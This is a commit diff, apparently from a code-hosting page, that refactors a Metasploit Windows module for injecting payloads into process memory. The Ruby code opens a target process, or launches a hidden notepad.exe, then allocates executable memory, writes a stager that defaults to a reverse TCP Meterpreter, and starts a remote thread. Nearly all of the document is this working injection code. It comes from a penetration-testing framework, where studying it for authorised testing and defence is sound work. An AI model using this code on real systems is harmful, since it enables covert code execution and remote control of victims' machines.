Improve Carlos' payload injection module - See #1201
Lots of changes, mainly: * Description update * Avoid accessing protected methods * More careful exception & return value handlingbug/bundler_fix
parent
e93b7ffcaf
commit
22f7619892
|
@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Memory Payload Injection Module',
|
||||
'Description' => %q{
|
||||
This module will inject into the memory of a process a specified windows payload.
|
||||
If a payload or process is not provided one will be created by default
|
||||
using a reverse x86 TCP Meterpreter Payload.
|
||||
This module will inject a payload into memory of a process. If a payload
|
||||
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
|
||||
datastore option isn't specified, then it'll inject into notepad.exe instead.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -34,31 +34,45 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('PID',
|
||||
[false, 'Process Identifier to inject of process to inject payload.'])
|
||||
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
|
||||
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def exploit
|
||||
@payload_name = datastore['PAYLOAD']
|
||||
@payload_arch = framework.payloads.create(@payload_name).arch
|
||||
|
||||
# syinfo is only on meterpreter sessions
|
||||
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
||||
|
||||
pid = datastore['PID']
|
||||
|
||||
if pid == 0
|
||||
pid = create_temp_proc()
|
||||
pid = get_pid
|
||||
if not pid
|
||||
print_error("Unable to get a proper PID")
|
||||
return
|
||||
end
|
||||
|
||||
if payload.send(:pinst).arch.first =~ /64/ and client.platform =~ /x86/
|
||||
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
|
||||
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
|
||||
print_error("Migrate to an x64 process and try again.")
|
||||
return false
|
||||
else
|
||||
inject_into_pid(pid,datastore['NEWPROCESS'])
|
||||
inject_into_pid(pid)
|
||||
end
|
||||
end
|
||||
|
||||
# Figures out which PID to inject to
|
||||
def get_pid
|
||||
pid = datastore['PID']
|
||||
if pid == 0 or datastore['NEWPROCESS']
|
||||
print_status("Launching notepad.exe...")
|
||||
pid = create_temp_proc
|
||||
end
|
||||
|
||||
return pid
|
||||
end
|
||||
|
||||
# Checks the Architeture of a Payload and PID are compatible
|
||||
# Returns true if they are false if they are not
|
||||
def arch_check(pid)
|
||||
|
@ -66,12 +80,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
client.sys.process.processes.each do |p|
|
||||
# Check Payload Arch
|
||||
if pid == p["pid"]
|
||||
print_status("Process found checking Architecture")
|
||||
if payload.send(:pinst).arch.first == p['arch']
|
||||
print_good("Process is the same architecture as the payload")
|
||||
vprint_status("Process found checking Architecture")
|
||||
if @payload_arch.first == p['arch']
|
||||
vprint_good("Process is the same architecture as the payload")
|
||||
return true
|
||||
else
|
||||
print_error("The PID #{ p['arch']} and Payload #{payload.send(:pinst).arch.first} architectures are different.")
|
||||
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -83,45 +97,56 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
def create_temp_proc()
|
||||
windir = client.fs.file.expand_path("%windir%")
|
||||
# Select path of executable to run depending the architecture
|
||||
if payload.send(:pinst).arch.first== "x86" and client.platform =~ /x86/
|
||||
if @payload_arch.first== "x86" and client.platform =~ /x86/
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x64/
|
||||
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x86/
|
||||
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
|
||||
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
||||
elsif payload.send(:pinst).arch.first == "x86" and client.platform =~ /x64/
|
||||
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
|
||||
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
end
|
||||
# run hidden
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
begin
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
return nil
|
||||
end
|
||||
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
def inject_into_pid(pid,newproc)
|
||||
print_status("Performing Architecture Check")
|
||||
# If architecture check fails and a new process is wished to inject to one with the proper arch
|
||||
# will be created
|
||||
if arch_check(pid)
|
||||
pid = create_temp_proc() if newproc
|
||||
print_status("Injecting #{payload.send(:pinst).name} into process ID #{pid}")
|
||||
begin
|
||||
print_status("Opening process #{pid}")
|
||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||
print_status("Generating payload")
|
||||
raw = payload.generate
|
||||
print_status("Allocating memory in procees #{pid}")
|
||||
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
||||
# Ensure memory is set for execution
|
||||
host_process.memory.protect(mem)
|
||||
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
||||
print_status("Writing the stager into memory...")
|
||||
host_process.memory.write(mem, raw)
|
||||
host_process.thread.create(mem, 0)
|
||||
print_good("Successfully injected payload in to process: #{pid}")
|
||||
rescue ::Exception => e
|
||||
print_error("Failed to Inject Payload to #{pid}!")
|
||||
print_error(e.to_s)
|
||||
def inject_into_pid(pid)
|
||||
vprint_status("Performing Architecture Check")
|
||||
return if not arch_check(pid)
|
||||
|
||||
begin
|
||||
print_status("Preparing '#{@payload_name}' for PID #{pid}")
|
||||
raw = payload.generate
|
||||
|
||||
print_status("Opening process #{pid.to_s}")
|
||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||
if not host_process
|
||||
print_error("Unable to open #{pid.to_s}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Allocating memory in procees #{pid}")
|
||||
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
||||
|
||||
# Ensure memory is set for execution
|
||||
host_process.memory.protect(mem)
|
||||
|
||||
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
||||
print_status("Writing the stager into memory...")
|
||||
host_process.memory.write(mem, raw)
|
||||
host_process.thread.create(mem, 0)
|
||||
print_good("Successfully injected payload in to process: #{pid}")
|
||||
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Unable to inject payload:")
|
||||
print_line(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue